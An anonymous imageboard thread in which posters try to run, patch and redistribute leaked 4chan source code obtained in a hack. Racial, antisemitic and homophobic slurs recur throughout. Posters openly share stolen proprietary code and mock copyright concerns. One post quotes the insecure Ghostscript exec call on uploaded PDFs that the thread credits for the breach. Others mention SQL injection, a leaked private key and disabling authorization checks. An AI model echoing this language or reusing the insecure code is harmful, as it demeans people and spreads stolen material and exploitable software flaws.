It needs rewriting from the scratch or to use an in-box imageboard engine (like the sharty), the base is too much raisin no wonder it got hacked. There's literally echo '<html>' in functions in the middle of SQL queries, ever heard of MVC, nigger ?

 5214[Quote]

>>5198
>rewriting from the scratch
good morning saar

 5216[Quote]

>all of the code for every april fools is mangled into the main image board code
hahahaha fuck me

 5217[Quote]

>>5198
literally no need, all we need to do is fix the security vulnerabilities and make it less spaghetti (carefully, to avoid deoptimizing it)

 5219[Quote]

yes let's rewrite 4chan
let me know once you get it working: hiro@4chan.org

 5220[Quote]

>>5217
theoretically if i understand what happened, one can just get it online, disable uploading PDFs, and
<walla!
>>5219
i'm going to charge that slant-eyed nigger more than he can afford if he wants me to contribute to his blacked tranny spam nightmare

 5221[Quote]

File: jannied.mp4 📥︎ (561.59 KB, 1634x1614) ImgOps

here's my crap guide to make it work with php5.3 under ubuntu: https://0bin.org/paste/akvFgG1L#YxkJ4mQQR-4j9qHFpsmamrH7nC/e+mFIcE6EhonCtj5

included apache2 conf files too, probably still need some other fixes i forgot to add though

replace /etc/php/5.6/apache2/php.ini with /usr/lib/php/5.6/php.ini-development to get it to show error messages, and change short_open_tag=On in there too

 5225[Quote]

>>5220
there are other bugs in the code like naive sqli

 5226[Quote]

File: vivaldi_2025-04-17_00-47-5….png 📥︎ (280.45 KB, 1862x1451) ImgOps

>>5221
also forgot to mention, add

function fastcgi_finish_request() {}

near top of imgboard.php too, that's some FPM func for nginx
seems to work fine with apache after that

 5227[Quote]

>>5221
>>5226
neat, i'll rewrite into nginx if i ever feel like it

 5229[Quote]

i have gotten it to generate catalog.html, tomorrow i'll try to get it to make the first post (and hopefully make the first release)

 5250[Quote]

Thank god I'm not the only one who is trying to make the mess that is Yotsuba half decent again.

 5259[Quote]

File: images(4).jpg 📥︎ (6.4 KB, 275x183) ImgOps

>>4613 (OP)

Would be cool to integrate DeepSeek as a moderator. Fully anonymous with no bias moderation.
Have it detect illegal raisin and ban that IP

 5260[Quote]

>>4763
Train DeepSeek to replace moderators. A fully autonomous image board

 5262[Quote]

File: ClipboardImage.png 📥︎ (78.11 KB, 928x342) ImgOps

>>>4763
>Train DeepSeek to replace moderators. A fully autonomous image board
they might've had something similar already, haven't heard anyone mention anything about "tensorchan" before

 5269[Quote]

>>5262
oh wow, hiromoot was still developing on old code?

 5276[Quote]

File: 1715959124296f.png 📥︎ (147.78 KB, 1308x988) ImgOps

>>5229
>and hopefully make the first release
Looking forward to it.

 5298[Quote]

>>5262
Something like that was tried here and it failed miserably and got pulled after 20 minutes

 5300[Quote]

>>5259
you would see thousands of false positives, just like on reddit. absolute garbage

 5305[Quote]

>>5298
All you need to moderate are the uploaded images/files.
Were they trying to check posts as well?
>>5300
Isn't it the reason for training the model?

 5311[Quote]

>>5305
i don't know but i think ai sucks ass at this and it's destroying the normie part of the internet

 5317[Quote]

>>5314
thanks for the spam retard

 5321[Quote]

File: ClipboardImage.png 📥︎ (91.46 KB, 730x887) ImgOps

>>5221
got it working in an arch linux vm, godspeed
i think i understand how it's so efficient; it just regenerates static html files of each thread and serves them instead of dynamically generating the html for each request

 5324[Quote]

>>5321
Furthermore, the static board serving server (boards.) and the main imageboard action API (sys.) are completely separate physical machines connected through a shared NFS mount point, which drastically decreases the load on the database and php scripts used in general

 5325[Quote]

>>5324
For some boards, instead of rebuilding the threads HTMLs on every new post, a special daemon called rebuildd is used (most likely executed via a crontab job) that checks for dirty (expired) built pages and rebuilds just them (as well as the catalog and such of course)

 5326[Quote]

>>5262
All tensorchan is, is sending a POST to a REST API on danbo.int (some random digitalocean server, seems public) for a prediction on it being NSFW. Unless there's something obvious I'm missing it is enabled for all SFW boards, so every single image post queries this site, and clearly it doesn't do a very good job.
>>5229
First release should be on git like gitgud.io

 5327[Quote]

>>5325
They also use Cloudflare CDN caching for static serving and generated pages

 5331[Quote]

>>5326
danbo.int is a server in their intranet as shown in the hosts file s0i1337 posted on kiwifarms

 5336[Quote]

>>5331
That's gay because 4chan's ability to somehow stop irl children being raped spam is the only really valuable thing in this raisinheap

 5339[Quote]

>>5336
well I have bad news then as the tensorboard raisin seems to be off in the leak anyway, I feel like Cloudflare does most of cp spam prevention (they have a system that checks files you serve against NCMEC hashes), as well as 4chan's own file hash blacklist they have in their database

 5341[Quote]

>>5339
uhh guys.. this code legally doesn't belong to you. so you can stop now.

 5342[Quote]

>>5341
i meant that to everyone

 5343[Quote]

>>5341
well ain't that a bitch

 5345[Quote]

>>5341
your mother legally does belong to me, thoughbeit

 5346[Quote]

>>5345
that's different

 5347[Quote]

>>5346
you wouldn't download your mother

 5351[Quote]

>>5324
>>5321
nice! reverse engineering 4chan to see how it ticks, would there be a way of making those run in separate tasks? hell, even a cross platform (ie run an instance on windows) "port"?

 5352[Quote]

So what's the deal with the root row in the board table being a timestamp?

 5353[Quote]

>>5351
why would you ever run some website on fucking windows

 5356[Quote]

File: FzpAKACWcAAFL6n.jpg 📥︎ (153.72 KB, 1752x1314) ImgOps

>>5351
>windows
fuck off!!!!!!!

 5360[Quote]

>>4613 (OP)
>twf want to help
>Only proficient in C or C++
I knew I had to learn webdev some days…

 5361[Quote]

File: yomi.jpg 📥︎ (285.05 KB, 600x800) ImgOps

>>5360
Same, I know PHP but I'm crap at it. Not confident enough I won't do anything stupid to warrant hosting websites of my own for extended periods of time.

 5365[Quote]

File: image-9.png 📥︎ (86.44 KB, 1600x874) ImgOps

>>5353
Dunno about him, but I planned to backport to PHP 5.2 and IIS 3.P, which can run on winNT 4.0. I already did it for Futaba.

In other news, I got picrel at least. Sadly imgboard.php complains of a nonexistent board when I tried to make a custom one, even though it's already in the db as a table. /g/ spawned fine, although opening a thread results in "Bad Request".

 5367[Quote]

>>5365
>Sadly imgboard.php complains of a nonexistent board when I tried to make a custom one
Looking briefly an imgboard.php, I see there's a variable like this: valid_boards = "3|aco|adv|an|biz|diy|fa|fit|gd|gif|int|lit|hc|hr|a|b|ck|co|cm|c|d|e|f|g|h|i|k|lgbt|m|n|o|out|p|r|s|t|u|vp|vg|vr|v|w|x|y|wg|ic|cgl|hm|mlp|mu|pol|po|r9k|s4s|sci|soc|tg|tv|toy|trv|jp|sp|wsg|qa|qst|his|trash|news|wsr|vip|bant|vrpg|vmg|vst|vt|vm|pw|xs";

Maybe you need to manually add it there as well?

 5368[Quote]

File: ClipboardImage.png 📥︎ (64.6 KB, 1798x354) ImgOps

>>5352
I think root is used to store when the post was last bumped so the board can create index pages.
Here's a bit of code from Angeleno's Futaba/Futallaby fork.
https://github.com/RealAngeleno/futaba-eki/blob/master/imgboard.php

 5372[Quote]

File: dvr.png 📥︎ (62.52 KB, 847x2816) ImgOps

>>5353
ease of use, i know its not the most stable or reliable thing in the world because my hacked-up CCTV dvr runs windows

 5376[Quote]

>>5367
Not quite, there's another piece of the puzzle: the board needs to have a valid config ini. Go to sys/config/boards, copy an existing config and name it after your custom board, edit the properties, and run the generator again. That's how I managed to create mine.

 5379[Quote]

>>5376
addendum: I'm still not sure why I can't get the board properties to change from the default "Yotsuba Image Board" or why POSTs return "Bad Request"

 5422[Quote]

>>5321
so a cache. yeah that's normal and good

 5440[Quote]

>>5095
Where's that reported posts view from btw? can't find it in the src

 5448[Quote]

>>5440
try reported_posts.php you absolute faggot

 5450[Quote]

File: image-10.png 📥︎ (14.49 KB, 637x323) ImgOps

>>5379
Hah, I can post finally! Images upload too, but I gotta fix the embedding of em on the i. subdomain.

"Bad request" was caused by a failed referal check that regxps 4chan and 4channel in imgboard.php. That's fixed now

 5458[Quote]

>>>5440
that file isnt in the leak doe

 5466[Quote]

File: image-20.png 📥︎ (214.15 KB, 1595x823) ImgOps

>>5450
Whoops, looks like I set the wrong IP for i. on my DNS. Now that it's fixed, I have fully working posts and replies. Sadly the flyout reply window still returns a connection error.

 5500[Quote]

So what's the best way going forward?
- 4chan switches to Vichan
- 4chan switches to JSchan
- we clean up and patch holes in OpenYotsuba and give it to Hiro on the condition that it be released under the AGLP+NIGGER license
?

I want the third option to happen. So continue working, codemonkeys.

 5506[Quote]


 5512[Quote]

>>5500
4cuck is still going to keep using Yotsuba most likely.

 5517[Quote]

File: ClipboardImage.png 📥︎ (131.07 KB, 600x797) ImgOps

>>5321
>it just regenerates static html files of each thread and serves them instead of dynamically generating the html for each request
nusoicacas discover the old web

 5523[Quote]

>>4724
I'm sure the best minds over at the CIA and NSA are hard at work trying ti fix it already

 5529[Quote]

>>4751
Might not the AI's we're used to, but people have been making some wild chatbots since forums were a thing.

If a brainlet like me with ADHD and brain damage could make runescape bots that could solve random events back in 2006-2012 there almost certainly were savants out there making chatbots on sterroids that functioned similarly to LLM's today.

 5545[Quote]

>>5529
>Might not the AI's we're used to
People frequently associates "AI" with everything that's slightly automatized since 2021. It's clearly as you say, and those were just bot performing automated tasks.

 5552[Quote]

>>5545
Even back then some of the more sophisticated runescape bots on the market could react to conversations around them in very basic ways, like greeting people who talk to them, responding accurately when people ask skill levels, etc

 5570[Quote]

File: vivaldi_2025-04-07_17-52-1….png 📥︎ (245.03 KB, 593x526) ImgOps

Yotsuba Image Board can be fixed by inserting to boardlist table

 5577[Quote]

File: friend simulator 2025.mp4 📥︎ (476.53 KB, 1862x1850) ImgOps

>>5466
>Sadly the flyout reply window still returns a connection error.
gotta add CORS headers and edit the js to use http instead of https (or host it with a ssl cert I guess)
the ubuntu guide includes the headers you need

 5587[Quote]

>>4613 (OP)

is the db in that tz file?

 5602[Quote]

File: fixed schema.txt 📥︎ (31.48 KB)

>>5587
no, hackerman didn't post the db at all for some reason, not even schema for it (wonder if he just never bothered to make a full dump while he had access)
there's an AI generated schema above but it's broken in a few places, here's updated ver with some fixes

 5605[Quote]

>>5602
>(wonder if he just never bothered to make a full dump while he had access)
probably big enough to be a hassle to exfil

 5622[Quote]

it would be nice if hackerman posted a canon db schema so we can stop guessing

 5627[Quote]

updates:
you can post now, but it's extremely glitchy and will need further work. all the fields are getting overwritten with "OpenYotsuba", which will have to be fixed
i have reenabled the delete thing in admin.php, it was commented out likely due to it being replaced with javascript. having non-javascript admin tools LE GOOD

 5628[Quote]

isn't actually self hosting this code illegal because of muh copyright?

 5631[Quote]

>>5628
well your website needs to be hacked for anyone to prove it's stolen code :^)

 5632[Quote]

is this code up on git anywhere? like a gitgud repo?

 5641[Quote]

File: 1744711518703w.png 📥︎ (2.51 MB, 2708x1956) ImgOps

the git history around the date of this hack is kinda neat, moot trying to monkeypatch raisin
someone in the big thread was saying there was a different postscript hack after this, anyone know when that was?

 5642[Quote]

>>5632
i will release the code once you can post normally

 5645[Quote]

File: ClipboardImage.png 📥︎ (12.78 KB, 678x165) ImgOps

the commit that killed 4cuck

 5668[Quote]

>>5645
kwab

 5671[Quote]

>>5645
>2021
wasn't that ghost script vulnerability reported back in like 2011 or so?

 5677[Quote]

>>5671
4cuck had decades old codebase filled with vulnerabilities

 5684[Quote]

>>5645
>"What could go wrong?" xe thought, as they clicked to confirm.

 5697[Quote]

>>5627
Any plans to release?

 5719[Quote]

>no .git history
>can't bring back peanut butter chocolate and get the rightful mini win
sad

 5725[Quote]

File: ClipboardImage.png 📥︎ (66.48 KB, 693x937) ImgOps

File: ClipboardImage.png 📥︎ (72.78 KB, 566x1181) ImgOps

>>5719
pic rel
also same month they wordfiltered soy, took them a few attempts THOUGH

 5744[Quote]

blacks

 5749[Quote]

>>5725
How hard can it be to filter one word

 5750[Quote]

>>5749
for your average 'cuck dev, nigh-impossible

 5754[Quote]

File: fH23r8c-680600366.jpeg 📥︎ (435.81 KB, 1632x1224) ImgOps

>php

 5766[Quote]

>>5725
wasted a whole hour of their life just to filter "soy" award

 5771[Quote]

>>5300
Of course it's going to be garbage if it's plebbit trying to filter all kinds of wrongthink
I'm pretty sure it would work ok for just detecting gore and porn. It's more of an issue of getting barely tech literate imageboard hosters to deal with a local model

 5773[Quote]

>>5095
where is that report panel kept? got the manager janny panel working but don't see code for that gray one anywhere

 5774[Quote]

File: 686868.gif 📥︎ (137.48 KB, 220x193) ImgOps

>>5221
yes im a retard but i decided to follow the guide and ended up with a cock ton of undefined variables and indexes for auth.php and yotsuba_config.php
also, the fuck am i supposed to add into boardlist table?

 5775[Quote]

File: ClipboardImage.png 📥︎ (48.29 KB, 1233x287) ImgOps

>>5774
the undefined var stuff is just slopcode, if there's no fatal errors it's fine, once you put the php.ini-production back in place they should disappear (or might need error_reporting = 0 in php.ini too)
boardlist is just board path / board name

 5779[Quote]

File: ClipboardImage.png 📥︎ (59.71 KB, 684x1024) ImgOps

any chance someone has the static images saved? found a couple for burichan/futaba but web archive is missing a ton

 5780[Quote]

posting now works properly, i just need to clean up the source tree of useless sh!t like -test files, write a guide on how to install then the first release'll be out

 5782[Quote]

>>5645
how did you get the git files? original 7z source tree doesn't have them

 5783[Quote]

>>5782
he posted the git log for it https://files.catbox.moe/yypkoa.txt

 5784[Quote]

File: 1740663335709g.png 📥︎ (158.92 KB, 521x937) ImgOps

>>5780
>write a guide on how to install then the first release'll be out
Gem

 5786[Quote]

File: capture2.png 📥︎ (27.09 KB, 498x265) ImgOps

File: capture.png 📥︎ (457.47 KB, 1371x946) ImgOps

>>5775
i see, i only have one fatal error for "Class 'L' not found in /www/sys.4chan.org/g/imgboard.php on line 7741"
and loading into the pages looks like this

 5788[Quote]

wish the /banned code was included, guess it'll have to be recreated for the true experience

>>5786
forgot to set short_open_tag=On in php.ini award

 5789[Quote]

File: gigachad_7145.jpg 📥︎ (75.29 KB, 800x986) ImgOps

>>5783
>git commit -m "fixes"

 5790[Quote]

File: 1420730135905.gif 📥︎ (1.12 MB, 139x742) ImgOps

>>5788
>short_open_tag
missing from the guide

 5791[Quote]

>>5790
yeah but it's in the post that linked the guide THOUGH >>5221

 5794[Quote]

>>5791
darn

 5795[Quote]

>>5791
also there's a post after that with some extra apache2 fix fyi >>5226

 5796[Quote]

css/signin.css is kill?
with php8.2 debian12, i got to "An email containing the verification link will be sent out shortly" via the signin page, with GeoIP enabled, with HTTPS enabled, remotely, with captchas enabled and working, no authentication disabled
so far so good
also this dog raisin website just hid all replies in this thread for the last 7 hours and updated them all in the last 30 seconds

 5798[Quote]

>>5796
damn isn't even on https://web.archive.org/web/*/https://s.4cdn.org/css/* neither
we're also missing admin_autocomplete.js too

 5815[Quote]

File: urethra.png 📥︎ (24.05 KB, 1001x517) ImgOps

URETHRA!

 5816[Quote]

Many CORS rule fights later, the auto-update on threads now works. The reply box *does* post content, but always returns "something went wrong" with the following crap:

QR resp SyntaxError: JSON.parse: unexpected character at line 2 column 1 of the JSON data
onload https://s.4scheise.net/js/extension.min.1178.js:3
submit https://s.4scheise.net/js/extension.min.1178.js:3
onClick https://s.4scheize.net/js/extension.min.1178.js:3
show https://s.4scheise.net/js/extension.min.1178.js:2
quotePost https://s.4scheise.net/js/extension.min.1178.js:2
onclick https://s.4scheise.net/js/extension.min.1178.js:5
run https://s.4scheise.net/js/extension.min.1178.js:5
init https://s.4scheise.net/js/extension.min.1178.js:5
<anonymous> https://s.4scheise.net/js/extension.min.1178.js:6

 5819[Quote]

>>5816
make sure error_reporting is set to 0, might be whining about the undefined var slop

 5824[Quote]

This site is unusable so an alternative is required

 5829[Quote]

maybe this repo can be useful here
github.com/4chenz/ChanTracking0

 5844[Quote]

>>5824
looks usable to me fam
>>5829
it can be

 5845[Quote]

>>5798
4chin had blocked wayback machine through robots.txt, consider archive.today instead
https://archive.ph/https://s.4cdn.org/css/*

 5847[Quote]

>>5819
Just checked, that ain't it

 5850[Quote]

>>>/soy/10689784

 5858[Quote]

>>5850
>no .git
>no db schema
fucking nigger

 5862[Quote]

>>5844
>auto-update turns itself back on when you uncheck it
>the raisin wordfilter
>soyteens
idk famalam, I'm only here cause I gotta be.

 5867[Quote]

>>5862
for me its
>gem is upvote
<coal id downvote
in that one thread about learning the lore
i am also here just to be not here later
i figured out that email is kiked to fuck and hobbyists are essentially 99.99% gatekept from having an automated system send emails, so i'm mangling the fuck out of the thing so it just shows you the code on the same page and will have a button that takes you to verification

 5872[Quote]

>>5862
Also in line replying doesn't work on mobile

 5874[Quote]

what the fuck is "twister_captcha"?
missing files, no information online
appears 4chan uses recaptcha, hcaptcha, and its own homegrown captcha setup that the leaker omitted the entire file of.

 5875[Quote]

File: twister_captcha.php.txt 📥︎ (70.82 KB)

>>5874
twister is in the leak that just got posted half an hour ago

 5876[Quote]

>>5874
he just posted it THOUGH >>>/soy/10689784
but we're missing config file entries

 5878[Quote]

anyone working on getting reports/team running?

 5879[Quote]

>>5260
This would unironically be a solid idea now.

 5882[Quote]

File: ClipboardImage.png 📥︎ (77.13 KB, 1132x634) ImgOps

>>5876
Looks like the config file only supplies the hCaptcha private key. I'll try to get it working separately tomorrow, seems pretty easy.

 5883[Quote]

File: 4chan-extras.7z.txt 📥︎ (5.89 MB)

mirroring the OP's download here as its on an external site

 5884[Quote]

also should we try to make a image generator based on the twister captcha to render "only readable by humans" text images?

 5885[Quote]

>>5884
fuck captchas

 5890[Quote]

4chan-extras/www.4chan/prize.html says
>Checking your team…
but http://4chan.org/prize.html says
>Checking your net worth…

weird

 5892[Quote]

>>5890
http://4chan.org/ads.txt also has different content as well
guess whatever server he dumped was outdated

 5893[Quote]

adblock.txt is some obfuscated JS, what could it be doe

 5894[Quote]

https://files.catbox.moe/fai3be.zip
Here it is, the first OpenYotsuba release. It's very buggy, but the core functionality works on modern PHP. README.txt has installation instructions.

 5895[Quote]

File: the_most_interesting_cobso….png 📥︎ (71.54 KB, 846x831) ImgOps


 5896[Quote]

>>5894
Nice work, you plan to make use of the newly leaked material?

 5897[Quote]

>>5896
of course, i haven't read the sticky in a while because i was busy with this

 5898[Quote]

>>5897
Keep it up, you've been the real one all day with the rest of us struggling to follow along. Would you be able to make nginx rewrite and header rules by the way?

 5899[Quote]

>>5898
i use apache so it would be an .htaccess, nginxGODS will have to port it

 5900[Quote]

mobtest.php has
> echo '<meta name="apple-itunes-app" content="app-id=1124861180, affiliate-data=4chan" />

official 4chan app? idk how to look that id up

 5902[Quote]

in fact i haven't read the sticky in 2 days, link me all the new leaks please

 5903[Quote]


 5904[Quote]

>>5894
OP, make a GitHub (GitLab, Codeberg, etc work too) and throw it on there. Great work on the project. You are doing gods work.

 5906[Quote]

>>5904
do this

 5908[Quote]

>>5904
gitlab and github are raisin, just use gitgud

 5909[Quote]

>>5908
Right, GitHub might shoah it for DMCA. Yeah in that case throw it there OP. We must continue work on this gem

 5911[Quote]

File: ClipboardImage.png 📥︎ (20.75 KB, 513x299) ImgOps

captchas!
although…
maybe i'm a robot, since i can't read these worth a fuck, what the hell am i looking at
if this is how bots feel, i feel sorry, this is scary

 5912[Quote]

bumping because of the new code

 5913[Quote]

>>5894
Post it on gitflic.ru

 5915[Quote]

>>5894
why would you want to run that dograisin on your own
make a better image board in any primitive language and it will run fine

 5916[Quote]

>>5894
fuck ya

 5917[Quote]

File: ClipboardImage.png 📥︎ (510.06 KB, 2853x1008) ImgOps

/www/reports seems to work, just had to symlink lib/ and config/ to the yotsuba folders
not sure why its not showing report reason though

 5918[Quote]

File: 1669248037670-0.png 📥︎ (Spoiler Image, 1.07 MB, 754x816, NSFW) ImgOps

>>>4674
>i do have a web server but i don't have experience with PHP
What do you use your web server for then

 5920[Quote]

>>5918
meant for >>4682

 5925[Quote]

File: 1744908887930d-1.png 📥︎ (1019.19 KB, 1080x1327) ImgOps

>>5894
Good job.

 5930[Quote]

>>5911
you need the font i think

 5932[Quote]

File: ClipboardImage.png 📥︎ (231.8 KB, 2268x1986) ImgOps

>>5917
/www/team also works, some of the tools are protected with 2FA though, load of good that did geg

 5936[Quote]

File: ClipboardImage.png 📥︎ (15.94 KB, 312x155) ImgOps

>>>5911 (You)
>you need the font i think
i think i found it here:
https://www.danceswithferrets.org/lab/gdfs/
there's one where the name lines up perfectly (PCss, 8x16, Little Endian)
endianness is correct, but using imageloadfont with that, or with just font = 1 (or 2 or 3 or 4 or 5) produces these odd squares with skewed squares cut out of them instead of letters

 5946[Quote]

>>5894
Do you mind if I put this up on GitGud? I'll make an initial commit with the leaked stuff then commit this. Happy to give you access of course.

 5947[Quote]

>>5946
i'm already working on putting it on gitgud, already created an account just have to wait for the verification email to come (i use a sh!tty email service)

 5950[Quote]

>>5947
Great news, glad to hear it
I'll port it to nginx today o algo because apache is a bitch to set up

 5953[Quote]

File: 1713169767587u.png 📥︎ (30.67 KB, 775x849) ImgOps

>>5947
How many IDs do you have nigga?

 5957[Quote]

File: ClipboardImage.png 📥︎ (69.53 KB, 342x219) ImgOps

>>5936
AAAAAAAAAAAAA
IDENTIFIABLE LETTERS
(and they match the challenge code)
unfortunately got this by randomly commenting out and mangling the fuck out twister_captcha.php, so maybe the leaker fucked something up or he somehow got some broken test files
now to figure out why randomly commenting out a large chunk of code made it better

 5958[Quote]

>>5953
my ID keeps changing because i use a VPN

 5974[Quote]

>>5932
How well do the backend management tools compare to its competitors?

 5996[Quote]

File: ClipboardImage.png 📥︎ (37.09 KB, 349x221) ImgOps

alright!
PHP8.2 → i suspect the built-in PHP function imageaffine is borked
generateTwisterHFogNew seems to be the captcha generating function that is actually used (there appear to be 9 (?) different functions)
got this beautiful captcha generated by making claude create a replacement function that does the affine transform manually (replacing the PHP built-in)

 6003[Quote]

>>4697
>anon
'teen*

 6006[Quote]

File: giga (spammer).jpg 📥︎ (71.34 KB, 755x1039) ImgOps

>>5957
MN2SX
>>5996
J2JPP

 6026[Quote]

>>6006
impressive, lets see you solve >>5911

 6033[Quote]

>>6026
That one's easy.
>>5911
□□□□□

 6050[Quote]

>>6033
Error: You seem to have mistyped the CAPTCHA. Please try again.

4chan Pass users can bypass this CAPTCHA. [ Learn More ]

 6053[Quote]

>>6050
▯▯▯▯▯

 6066[Quote]

File: ClipboardImage.png 📥︎ (27.14 KB, 940x272) ImgOps

getting closer
any other PHP8.2 psychos or is everyone focused on older PHP versions

 6072[Quote]

>>6066
i have already released this, made with PHP 8.4 but might work on 8.2. the login and delete things in admin.php have been reenabled as well
>>5894

 6079[Quote]

>>6072
something tells me not to try downloading that to a machine i care about, and right now i have none
how does setup work with your "release"? are there scripts (bash? something else?)? (by setup, i mean directory structuring, are you using apache2 or nginx, how are you setting that up (it's been a pain in my ass so far)?, mysql setup, etc.)
are there detailed instructions (some readme)?
if not, setting this up would be impossible for 99.99999% of people
if so, why not post the instructions here instead of locking them in a zip? (rereading, i see you do have installation instructions, but not posting them here when much more has been posted is a bit strange)

 6083[Quote]

>>6079
setup.php automatically creates required tables

 6085[Quote]

>>6083
directory structuring?
nginx vs apache? how is the nginx/apache config set up?
what did you do with the email workflow?
what will you do about the twister captcha?
is the "release" for just local toying around, with all the captchas, timers, emails (and then pass), etc., disabled and/or bypassed? (i'm trying to get as close to a 'production' version as i can)

more general point: with things like later leaks (twister), are you going to just routinely and randomly dump zip files on catbox here (seems retarded) or are you setting up something where git can be used?

 6087[Quote]

>>6085
i have changed the default config so that it works on stock servers without needing to set mod_rewrite rules
i haven't done anything related to emails and captchas, i just disabled them because i was not able to test them
twister captcha will likely be implemented, right now i'm trying to integrate the homepage files
a git repo will be created eventually

 6091[Quote]

>>6087
"it works on stock servers"?
that's extremely vague
especially since with debian12, php8.4 isn't on a stable build, only testing and unstable, so your setup script can't work with at least the "stock servers" i'm using (unless your isntructions say to build PHP8.4 from source, but now you're really stretching the "release" claim thin)
apache2 vs nginx
all the different OS' and their different setup incantations
probably some crazy bastards using windows or openbsd
which OS? which version? apache, nginx, or something else?
(i'm hoping if your .zip contains something unpleasant i can prevent a few ano- "chuds" from getting rekt, if anyone can bravely post the instructions/readme.txt from the dump, then that'd do a lot for making this not seem remarkably sketchy)

 6093[Quote]

>>6091
he probably means it works without having to configure custom rewrite paths on nginx or whatever you're using, you are just an autistic retard

 6094[Quote]

>>6093
yes this is what i was talking about, for example the default post form URL is /board/imgboard.php instead of /board/post so you don't need to mess with mod_rewrite

 6097[Quote]

>>6087
>>6094
post the instructions

 6105[Quote]

>>4613 (OP)
So these was the line of code that permanently ACK'd 'cuck

```
if( ENABLE_PDF 1 && $ext '.pdf' ) {
// create jpeg for the thumbnailer
$pdfjpeg = IMG_DIR . $tim . '.pdf.tmp';
@exec( "/usr/local/bin/gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=jpeg -sOutputFile=$pdfjpeg $fname" );
if( !file_exists( $pdfjpeg ) ) unlink( $fname );
$fname = $pdfjpeg;
}
```

 6106[Quote]

>>6105
these were the lines* had a stroke

 6125[Quote]

Bring back /mlpol/
Will keep normies out

 6126[Quote]

hope someone releases a pack that uses the OG files mostly untouched, with rewrite etc working

would be useful for pentesting, there's already 1 exploit that was posted on xitter (not linking here, do your job desuwa)

 6134[Quote]

>>6126
The ubuntu php5.6 guide lets you run it close to vanilla, only big edits you need to make are changing domains in the files & fucking with is_local_auth to bypass captcha

if you setup hosts on the actual 4chan.org domain & got twister_captcha working (or the 4chan_auser cookie raisin) maybe wouldn't even need those changes

That does use apache2 instead of nginx THOUGH so not completely 1:1, nginx files were released in new leak so maybe those could be adapted

 6136[Quote]

>>6126
planning to do this soon, i'm not liking the openyotsuba changes so far

 6137[Quote]

File: ClipboardImage.png 📥︎ (26.51 KB, 862x374) ImgOps

>>6126
when you say mostly untouched, would porting to PHP8.x break that?
so far i have a nice setup with an actual domain, https, remote server, their home brewed "twister" captcha nightmare, mod rewrite, etc. i'm accessing the page in pic rel with just https://<foo>.com/b/admin
i just got the admin sign in page myself
i'm a lot more suspicious of that other anon because getting this to show up involved commenting out three things in a function that seemed to intend to stop me from finding this, AND i had to create a database table that wasn't in the leaked schemas list and whose name hasn't been mentioned in this thread once, which is real weird:
`user_actions` (so far):
- `ip` int(10) unsigned NOT NULL
- `board` varchar(10) DEFAULT NULL
- `action` varchar(50) DEFAULT NULL
- `time` TIMESTAMP
- PRIMARY KEY (`id`)

 6138[Quote]

>>6137
user_actions was in the >>5602 sql

 6139[Quote]

>>6137
Nice. I'll be watching this thread, who knows, maybe I'll create a new chan called rUSAcan-chan allowing posting only from USa, Vanada and Russia as each country shares borders with the other 2.

 6142[Quote]

>>6137
i forgot to emphasize how much of a bitch it was to figure out those three things needed to be commented out, since they seemed critical, and without them it makes the comment about what the function is supposed to do seem incorrect
in admin.php, line 1411-ish:
> commented as "password validation" but is required to get a login form, seems disjoint
> chicken and egg functions here and somewhere else that require cookies to be set in order to access admin things, fail if we don't have cookies set, but cookies are only set after this step, so logically how the fuck are cookies first set?
> there's a function that if passed one truthy param will allow us to login with POST parameters, but no call of this function has a truthy param, all falsy
> in adminvalid:
> if we aren't already authorized: error( 'You do not have permission to access this page.' );. have to comment that out
> if we aren't already authorized: admin_login_fail(); causes a different error. also causes user_access table to be interacted with. have to comment that out, since a login fail before we see the login form makes no sense (and can't use POST because we need a value to be truthy that logically never is)
> if ($title !== 'Ban Request' && !has_level('mod')) { die() } # again, if not already a mod, this just halts the function before we get the login form, so comment this out
after doing that, i have the login form. finding this was a fucking labryinth

 6147[Quote]

>>6126
I'm waiting for the db schema to be leaked in order to try and run this raisin as intactly as possible with PHP5.6 + apache. Also desuwa if you're reading this just quit your job, there's no replacement for you

 6151[Quote]

>>6142
seemed like /admin was probably phased out in favor of the mod.js / janitor.js extensions, and the new team.4chan.org stuff

there's an extra_path cookie you can set to the JS name which makes it load extension when you open the board, afaik extension makes a couple XHR requests to /admin which is probably why it's still around

didn't find where extra_path gets setup though, maybe team.4chan sets it, haven't really looked at that yet

 6158[Quote]

>ssl_certificate_key /usr/local/www/ssl/4chan.org-nopw.key
wew, leaklad has the private key without any password

 6159[Quote]

>>6139
D-6 Metro 2. They’re all countries that can share subway tunnels

 6183[Quote]

i sincerely do not believe the other anon setup the admin page honestly (and working).
after ripping apart the `adminvalid` function, setting up the new database table, you then realize that there are two `auth_user` functions, one new and one old. the old one is commented out. the new one only uses new cookies, which come out of thin air (no logic puts them in place), except…
they come from the old login, which has a boolean parameter switch (true uses POST parameters (from the login form), false uses the new cookies, sort of (mangled)). again, there is nothing that calls the function with the truthy parameter (using login form), so you have to mangle `adminvalid` even more (i checked for POST parameters (had to rewrite csrf tracking here) to set that boolean).
now there's some json error, but i'm making great progress, and i can see in the error logs and with debugging my user and pass are pulling an admin level from the database (before hitting that weird json error and getting `Database Error (1-0)`). i got to change moot's name to my own, which is exciting.

TL:DR
uncomment old auth and (re?)write a lot of code to use login form to maybe get new cookies, a huge amount of work and the other chud is way too vague about all this. weird case, other chud did do all of this and is just being a niggerlicious faggot about it and won't say anything

 6187[Quote]

File: ClipboardImage.png 📥︎ (45.49 KB, 1027x472) ImgOps

>>6183
as i said /admin is old and busted, setup team.4chan already, the do_login func in there sets up the new cookies you're messing around with

 6188[Quote]

>>6187
actually that was reports.4chan not team

 6190[Quote]

File: ClipboardImage.png 📥︎ (5.13 KB, 319x98) ImgOps

getting rebuildall to work finally (not really, it crashed here, but again, more "good errors" where the next steps are obvious)
json error required us to populate the ips json array in mod_users with an array of at least one ip
>>6187
>grep -nr do_login
<ε (did you write this function yourself? i don't see it in the leaked code)
i'd say /admin is not "old and busted", and me with my <48 hours of PHP experience was able to find out what happened in the codebase and why (they wanted to upgrade login, did so to something not in the codebase, buried it a bit; in order to use 4chan's code, we just unbury it a bit)
if it was really "old and busted", i wouldn't be looking at a successful rebuildall message using exactly that code

 6191[Quote]

File: vivaldi_2025-04-17_00-47-5….png 📥︎ (280.45 KB, 1862x1451) ImgOps

>>6190
did you not read >>6151 ? their JS extension still makes use of /admin, but it's obvious from the work needed to fix it they aren't using that page anymore to login or anything
there's remnants you can fix up to get pic rel (thanks to their raisinty dev for commenting things instead of removing them), but the new leak includes the newer team.4chan / reports.4chan code anyway >>5917 >>5932

 6195[Quote]

